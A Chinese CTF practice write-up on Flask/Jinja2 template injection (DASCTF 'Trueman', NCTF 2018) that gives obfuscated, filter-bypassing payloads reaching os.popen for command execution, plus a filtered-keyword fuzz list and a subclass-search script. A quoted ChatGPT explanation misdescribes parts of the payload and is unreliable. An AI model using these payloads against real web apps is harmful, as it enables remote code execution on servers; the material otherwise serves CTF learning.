ssti刷题

1.dasctf8月 Trueman

flask模版注入,4有注入点

过滤了. _ \ [ ] "和各种关键字

https://github.com/Marven11/Fenjing这个工具可以直接绕过waff

生成的payload为

1
{%set hd='OS'|lower%}{%set rz=lipsum|escape|batch(22)|first|last%}{%set gl=rz*2~'g''lobals'~rz*2%}{%set ge=rz*2~'g''etitem'~rz*2%}{%set bu=rz*2~'builtins'~rz*2%}{%set im=rz*2~'import'~rz*2%}{{(((((cycler|attr('next')|attr(gl)|attr(ge))(bu)|attr(ge))(im))(hd)|attr('p''open'))('ls /')|attr('r''ead'))()}}

引用chatgpt的解释

这段 Jinja2 payload 经过了一定的混淆,目的是为了绕过简单的检测机制。我们可以逐步分析并还原它的结构。

  1. 变量设置

    • {% set hd='OS'|lower %}:将字符串 'OS' 转换为小写并赋值给变量 hd
    • {% set rz=lipsum|escape|batch(22)|first|last %}lipsum 是一个占位符字符串,经过 escape 处理后,使用 batch(22) 将其分成多个批次,取第一个批次的最后一个元素赋值给 rz
    • {% set gl=rz*2~'g''lobals'~rz*2 %}:构造字符串 globals,其中 rz*2rz 的两倍。
    • {% set ge=rz*2~'g''etitem'~rz*2 %}:构造字符串 getitem
    • {% set bu=rz*2~'b''uiltins'~rz*2 %}:构造字符串 builtins
    • {% set im=rz*2~'import'~rz*2 %}:构造字符串 import
  2. 执行命令

    • {{(((((cycler|attr('next')|attr(gl)|attr(ge))(bu)|attr(ge))(im))(hd)|attr('p''open'))('ls /')|attr('r''ead'))()}}
      • cycler 是一个 Jinja2 的内置函数,用于创建循环器。
      • attr('next') 获取下一个元素。
      • attr(gl)attr(ge)attr(bu)attr(im) 分别获取 globalsgetitembuiltinsimport 的属性。
      • attr('p''open') 获取 open 函数。
      • ('ls /') 是传递给 open 函数的参数,表示要执行的命令。
      • attr('r''ead') 调用 read 方法来读取命令的输出。

原payload:

{{ cycler.next().globals.getitem(builtins).getitem(import)(os).popen('ls /').read()}}

{{ cycler.next().globals[builtins][import](os)['popen']('ls /').read() }}

[NCTF 2018]flask真香

url最后存在注入点

fuzz测试:

1
2
3
['{{', '}}', '__', '.', '*', '+', '-', '/', '"', ':', '\\' ,
'class', 'base', 'mro', 'init', 'global', 'builtins', 'config', 'request',
'lipsum', 'cycler', 'url_for', 'os', 'pop', 'format', 'replace', 'reverse','|','import','getattr']

500就是被过滤的(还过滤了for,eval)

关键字可以采用拼接的方法绕过,必须在中括号拼接

1
{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()}}#拿到子类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
![5](../images/ssti/5.png)import json
classes="""
[]
"""
num=0
alllist=[]
result=""
for i in classes:
if i==">":
result+=i
alllist.append(result)
result=""
elif i=="\n" or i==",":
continue
else:
result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
if "warnings.catch_warnings" in v:
print(str(k)+"--->"+v)
#117---> <class 'warnings.catch_warnings'>

遍历找到catch_warnings类

如果for没被过滤可以直接在模版搜索

1
{% for c in []["__clas""s__"].__base__["__subcl""asses__"]() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__bui''ltins__']['ev''al']("__impo""rt__('os').pop""en('id').read()") }}{% endif %}{% endfor %}
1
2
#也可以用lipsum(自带globals)
{{lipsum.__globals__['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('cat%20/T*').read()")}}

注意:eval(里面不能用中括号)